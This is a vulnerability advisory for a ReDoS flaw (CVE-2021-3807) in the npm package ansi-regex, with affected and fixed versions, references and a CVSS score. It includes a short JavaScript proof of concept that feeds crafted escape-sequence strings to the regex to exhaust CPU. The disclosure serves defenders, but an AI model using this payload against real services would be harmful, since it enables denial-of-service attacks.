Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ansi-regex | >= 6.0.0, < 6.0.1, >= 5.0.0, < 5.0.1, >= 4.0.0, < 4.1.1, >= 3.0.0, < 3.0.1 | 6.0.1, 5.0.1, 4.1.1, 3.0.1 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-3807
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774
- https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1
- https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a
- https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9
- https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8
- https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908
- https://github.com/chalk/ansi-regex
- https://github.com/chalk/ansi-regex/releases/tag/v6.0.1
- https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994
- https://security.netapp.com/advisory/ntap-20221014-0002
- https://www.oracle.com/security-alerts/cpuapr2022.html
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-1333, CWE-697- Platform
- npm
- Package
ansi-regex- Disclosed
- 20.09.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-93q8-gq69-wqmw - CC BY 4.0
Vulnerability history: ansi-regex
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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